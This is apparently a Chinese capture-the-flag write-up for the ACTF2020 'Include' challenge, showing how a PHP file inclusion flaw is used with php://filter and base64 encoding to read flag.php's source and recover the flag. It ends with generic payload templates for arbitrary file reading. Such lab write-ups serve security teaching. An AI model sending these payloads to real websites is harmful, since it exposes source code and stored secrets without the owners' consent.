PHP伪协议 php://filter
01题目题解

打开链接

[ACTF2020 新生赛]Include_文件包含

点击tips

[ACTF2020 新生赛]Include_字符串_02

url中含有?file=flag.php,题目提示include,猜测存在文件包含漏洞

利用伪协议php://filter查看文件源码

构造/?file=php://filter/resource=flag.php发现没有反应

[ACTF2020 新生赛]Include_文件包含_03

构造/?file=php://filter/read=convert.base64-encode/resource=flag.php得到一堆字符串

[ACTF2020 新生赛]Include_文件读取_04

 

将字符进行base64解码

[ACTF2020 新生赛]Include_文件包含_05

 

 得到flag{f27d458e-43fa-481d-a009-5d0bc5a1d95c}

02知识点

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。

?file=php://filter/resource=xxx.php

直接读取xxx.php文件,但大多数时候很多信息无法直接显示在浏览器页面上

 ?file=php://filter/read=convert.base64-encode/resource=xxx.php

将文件内容进行base64编码后显示在浏览器上,再自行解码